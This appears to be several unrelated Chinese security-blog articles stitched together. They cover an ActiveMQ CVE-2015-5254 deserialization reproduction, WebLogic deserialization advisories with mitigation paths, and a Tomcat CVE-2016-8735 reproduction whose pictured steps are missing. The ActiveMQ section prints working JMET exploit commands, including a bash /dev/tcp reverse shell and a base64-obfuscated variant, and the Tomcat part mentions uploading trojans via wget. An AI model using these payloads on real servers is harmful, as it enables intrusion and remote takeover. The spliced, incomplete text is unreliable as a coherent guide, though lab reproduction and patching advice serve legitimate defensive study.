ActiveMQ反序列化漏洞复现(CVE-2015-5254)
前言：
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件，它支持Java消息服务、集群、Spring Framework等。由于ActiveMQ是一个纯Java程序，因此只需要操作系统支持Java虚拟机，ActiveMQ便可执行。
漏洞描述：
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞，该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
使用vulhub进行搭建漏洞环境
# 进入某一个漏洞/环境的目录cd  activemq/CVE-2015-5254/# 启动运行环境docker-compose -up -d
漏洞复现：
1. 构造(可以使用ysoserial)可执行命令的序列化对象
2. 作为一个消息，发送给目标61616端口
3. 访问web管理页面，读取消息，触发漏洞的jar文件，并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
工具：JMET
使用详情：
https://github.com/matthiaskaiser/jmet
下载地址：
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
创建队列消息并写入命令。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME ip  61616
进入容器转到/tmp目录下，发现没有创建文件，这是因为当执行命令后会给目标的ActiveMQ添加一个名为event 的队列,通过访问
http://ip:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有的消息。
#列出所有在运行的容器信息。docker ps#进入容器docker exec -it  cc0e9385f975  /bin/bash
点击触发后，执行命令。
命令执行成功。
反弹shell
直接反弹时无法成功。可以通过base64进行反弹。
无法反弹。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/ip/7777 0>&1" -Yp ROME  ip 61616
base64绕过。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo payload的basse64编码}|{base64,-d}|{bash,-i}" -Yp ROME  ip 61616
反弹成功。
影响版本
        Apache ActiveMQ <5.13.x
修复建议
        升级到最新版本
免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!
转载声明：著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。
	

先说下我的中间件版本 weblogic12c 12.2.3.1也是目前最新版本 

年初查出了Oracle中间件weblogic反序列化漏洞weblogic-CVE-2018-2628，4月官方给出了升级补丁包，打上之后发现并没有修复漏洞，网上有临时方案，配置筛选器，也没什么鸟用，配不好server都启不来。 

一直到7月，新的漏洞号weblogic-CVE-2018-2893出来了，官方立即给出了补丁，升级之后漏洞修复，需要注意是的这次补丁包需要升级Opatch工具版本，必须是13.9.4.0.0，下载地址会在另一篇文章给出。

	

漏洞情况分析
WebLogic Server 是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。
wls9-async 组件为 WebLogic Server 提供异步通讯服务，默认应用于 WebLogic 部分版本。由于该 WAR 包在反序列化处理输入信息时存在缺陷，攻击者通过发送精心构造的恶意 HTTP 请求，即可获得目标服务器的权限，在未授权的情况下远程执行命令。
漏洞影响范围
根据 zoomeye 网络探测平台，目前全球共有10万多台 WebLogic 设备，其中中国具有3万多台。另外根据 CNVD 对 WebLogic 服务在全球范围内的分布情况的分析结果得知，我国境内已有2017个网站受此漏洞影响。
该漏洞的影响版本如下：
WebLogic 10.X
WebLogic 12.1.3
反序列化漏洞基本原理
Java 序列化与反序列化
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中，ObjectOutputStream 类的 writeObject() 方法可以实现序列化。
Java 反序列化是指把字节序列恢复为 Java 对象的过程，ObjectInputStream 类的 readObject() 方法用于反序列化。
序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段，可以有效的实现多平台之间的通信、对象持久化存储。
攻击者可以在未授权的情况下， 在WebLogic Server中执行反序列化操作，造成远程代码执行漏洞，而后利用该漏洞远程执行恶意代码、挖矿脚本、勒索病毒等。
临时解决方案
1
停止 weblogic 服务
一般路径如下：
%DOMAIN_HOME%/bin/stopWebLogic.sh
2
 删除相关 war 文件
具体路径如下：
版本号为10.*：
\Middleware\wlserver_10.3\server\lib\bea_wls9_async_response.war
%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\bea_wls9_async_response.war
\Middleware\wlserver_10.3\server\lib\ wls-wsat.war 
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\ wls-wsat.war
版本号为12.1.3：
\Middleware\Oracle_Home\oracle_common\modules\com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war
%DOMAIN_HOME%\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.bea-wls9-async-response_12.1.3
\Middleware\Oracle_Home\oracle_common\modules\com.oracle.webservices. wls-wsat.war
%DOMAIN_HOME%\servers\AdminServer\tmp\.internal\com.oracle.webservices.wls. wls-wsat.war
3
重启 weblogic 服务
一般路径如下：
%DOMAIN_HOME%/bin/startWebLogic.sh
4
禁止高危 URL 访问
通过访问策略控制禁止 /_async/* 及 /wls-wsat/* 路径的 URL 访问。
小结
目前 Oracle 官方还未为该漏洞提供相应补丁，建议使用 Weblogic server 相应版本的用户按照临时解决方案及时进行修复，并时刻关注补丁发布情况。
附官方 Oracle 安全补丁下载网址：
https://www.oracle.com/technetwork/topics/security/alerts-086861.html
第59号 公众账号致力于为行内、外所有关注数据安全的
企业同仁搭建一个只分享专业资讯、热点剖析、
行内大会的信息共享平台。

本文为原创文章，转载请注明出处！
复现起源：
近期在项目中碰到的ApacheTomcat中间件愈来愈多，于是乎。想着做一个整理。将ApacheTomcat中间件的几大较为重要的高危漏洞做一个总结整理复现。用作来巩固更新自己的知识库。
在这里感谢公司Bearcat师傅和残忆师傅以及李师傅等指导和共享精神。
今天我们来一起复现一下Tomcat多版本远程代码执行CVE-2016-8735。复现之前我们先来了解一下CVE-2016-8735。
漏洞描述：
该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关，是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后，Tomcat未能及时修复更新而导致的远程代码执行。
该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。
漏洞影响版本：
ApacheTomcat 9.0.0.M1 到9.0.0.M11
ApacheTomcat 8.5.0 到8.5.6
ApacheTomcat 8.0.0.RC1 到8.0.38
ApacheTomcat 7.0.0 到7.0.72
ApacheTomcat 6.0.0 到6.0.47
漏洞利用条件：
外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口，来实现远程代码执行。
漏洞复现：
所需环境工具包：
catalina-jmx-remote.jar：
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.2/bin/extras/catalina-jmx-remote.jar
groovy-2.3.9.jar：
http://central.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar
ysoserial.jar：
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
了解完漏洞详情之后，我们开始着手搭建环境来复现漏洞更深入的理解。
漏洞所需环境：
ApacheTomcat 8.5.2
Jdk1.7.0_80
安装成功如下图：
在进行漏洞复现之前我们需要配置几点如下：
conf/server.xml中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口：
配置好jmx的端口后，我们在tomcat版本所对应的extras/目录下来下载catalina-jmx-remote.jar以及下载groovy-2.3.9.jar两个jar包。下载完成后放至在lib目录下。
接着我们再去bin目录下修改catalina.bat脚本。在ExecuteThe Requested Command注释前面添加这么一行。
主要配置的意思是设置启动tomcat的相关配置，不开启远程监听jvm信息。设置不启用他的ssl链接和不使用监控的账户。具体的配置可以去了解一下利用tomcat的jmx监控。
至此所有的配置成功保存后，我们运行tomcat。
顺带监听本地的10001和10002的RMI服务端口是否成功运行。
监听成功，我们开始来构造Payload执行命令。首先老套路弹个计算器。
漏洞利用：
一般我们可以利用该漏洞往tomcat的webapp程序目录下写一个文本文件去证明该漏洞存在。
以及可以直接向服务器上利用wget/copy等命令上传木马来进行获取webshell提权等。
漏洞修复方案：
1、关闭JmxRemoteLifecycleListener功能，或者是对jmx JmxRemoteLifecycleListener远程端口进行网络访问控制。同时，增加严格的认证方式。
2、根据官方去升级更新相对应的版本。
本系列文章友情链接
文章仅用于普及网络安全知识，提高小伙伴的安全意识的同时介绍常见漏洞的特征等，若读者因此做出危害网络安全的行为后果自负，与合天智汇以及原作者无关，特此声明。